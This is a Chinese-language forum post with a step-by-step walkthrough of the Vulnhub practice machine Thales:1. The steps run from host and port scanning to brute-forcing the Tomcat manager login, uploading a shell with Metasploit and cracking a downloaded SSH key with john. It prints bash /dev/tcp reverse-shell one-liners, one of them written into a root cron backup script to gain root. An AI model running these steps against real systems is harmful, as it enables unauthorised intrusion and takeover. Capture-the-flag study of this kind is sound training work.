回答

收藏

Vulnhub 靶机篇:Thales:1

HG021B HG021B 38667 人阅读 | 0 人回复 | 2023-12-18

本帖最后由 Happiness 于 2023-12-18 10:29 编辑


0x01 靶机信息

  1. 名称:Thales: 1
  2. 发布日期:2021 年 10 月 16 日
  3. 作者:[MachineBoy](https://www.vulnhub.com/author/machineboy,723/)
  4. 系列:Thales
  5. 难度:中等
  6. 简介:睁开你的眼睛,改变你的观点。包括 2 个标志:user.txt 和 root.txt。
  7. 下载链接: [https://download.vulnhub.com/thales/Thales.zip](https://download.vulnhub.com/thales/Thales.zip)
  8. MD5:3645DD82FF243CE57F245EBEB83055DC
  9. 网络:DHCP自动分配
复制代码

0x02 Write-Up
2.1 主机发现
  1. nping --arp 192.168.181.0/24 | grep at
复制代码
--arp 使用arp模式
目标机IP:192.168.181.142

index.png

2.2 端口扫描
  1. hping3 192.168.181.142 --scan 1-65523 -S
复制代码
--scan 扫描模式(端口),-S SYN模式
扫描出两个端口,22和8080

index-1.png

查看网页是tomcat,点击管理页面

index-2.png

需要用户密码登录

index-3.png

在没有其他提示的情况下,优先尝试爆破tomcat用户和密码

2.3 msf模块爆破tomcat账户
search tomcat
查找tomcat相关模块
找到tomcat_mgr_login模块

index-4.png

  1. use auxiliary/scanner/http/tomcat_mgr_login
复制代码
use 使用模块
options
查看模块的功能配置
我们需要配置RHOSTS,目标地址

index-5.png

设置完,输入exploit启动
  1. set verbose false
复制代码
不显示错误消息
这里因为作者使用默认账户密码,所以没有更换字典,使用的是默认字典tomcat_mgr_defalt_pass.txt,利用set PASS_FILE可以更换,爆破出账户密码,tomcat:role1

index-6.png

登录后台

index-7.png

登录成功,查看其他管理页面

index-8.png

这里有一个文件上传可以利用

index-9.png

2.4 利用文件上传获取shell
利用msf的tomcat_mgr_upload模块上传反弹shell
  1. 设置模块配置
  2. set RHOSTS 192.168.181.142
  3. 设置目标地址
  4. set HttpPassword role1
  5. 设置密码
  6. set HttpUsername tomcat
  7. 设置用户名
  8. set rport 8080
  9. 设置端口
复制代码

index-10.png

exploit执行获取meterpretershell
在thales家目录下发现一段话,并提示我们有一个backup.sh脚本

index-12.png

I prepared a backup script for you. The script is in this directory "/usr/local/bin/backup.sh". Good Luck.
翻译:我为你准备了一个备份脚本。该脚本位于“/usr/local/bin/backup.sh”目录中。祝你好运。
脚本会定期创建备份文件,并且我们有权限修改

index-13.png

backup.sh内容

  1. #!/bin/bash
  2. ####################################
  3. # Backup to NFS mount script.
  4. # What to backup.
  5. backup_files="/opt/tomcat/"

  6. # Where to backup to.
  7. dest="/var/backups"

  8. # Create archive filename.
  9. day=$(date +%A)
  10. hostname=$(hostname -s)
  11. archive_file="$hostname-$day.tgz"

  12. # Print start status message.
  13. echo "Backing up $backup_files to $dest/$archive_file"
  14. date
  15. echo

  16. # Backup the files using tar.
  17. tar czf $dest/$archive_file $backup_files

  18. # Print end status message.
  19. echo
  20. echo "Backup finished"
  21. date

  22. # Long listing of files in $dest to check file sizes.
  23. ls -lh $dest
复制代码
因为在meterpreter shell下很多命令无法执行,我们退上层继续观察
发现了user.txt (无权限) 和一个ssh私钥

index-16.png

下载私钥破解ssh密码
  1. download id_rsa /var/tmp
复制代码
下载私钥

index-17.png

2.5 利用john破解ssh密码
  1. ssh2john id_rsa > id_rsa.hash
复制代码
格式化为john可读的格式
  1. john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
复制代码
--wordlist指定字典
破解用户thales密码为:vodka06

index-18.png

2.6 利用meterpreter shell 反弹shell到本机
执行bash反弹shell
bash 先进入bash,否则会失败
  1. bash -i >& /dev/tcp/192.168.181.136/5555 0>&1
复制代码

index-19.png

2.7 反弹全交互式shell
  1. 1. python3 -c 'import pty;pty.spawn("/bin/bash")' 然后按Ctrl+Z
  2. 2. stty raw -echo;fg 然后按回车两次
  3. 3. export=xterm
复制代码

index-20.png

登录用户thales,成功拿到user的flag

index-21.png

这次可以直观的看到backup.sh是root的文件,我们是可编辑的

index-22.png

写入反弹shell等待执行
  1. bash -i >& /dev/tcp/192.168.181.136/6666 0>&1
复制代码

index-23.png

2.8 提权至root
成功获取root权限,得到flag

index-24.png

backup.sh 是root的计划任务 每五分钟执行一次

index-25.png






index-11.png
分享到:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

188 积分
24 主题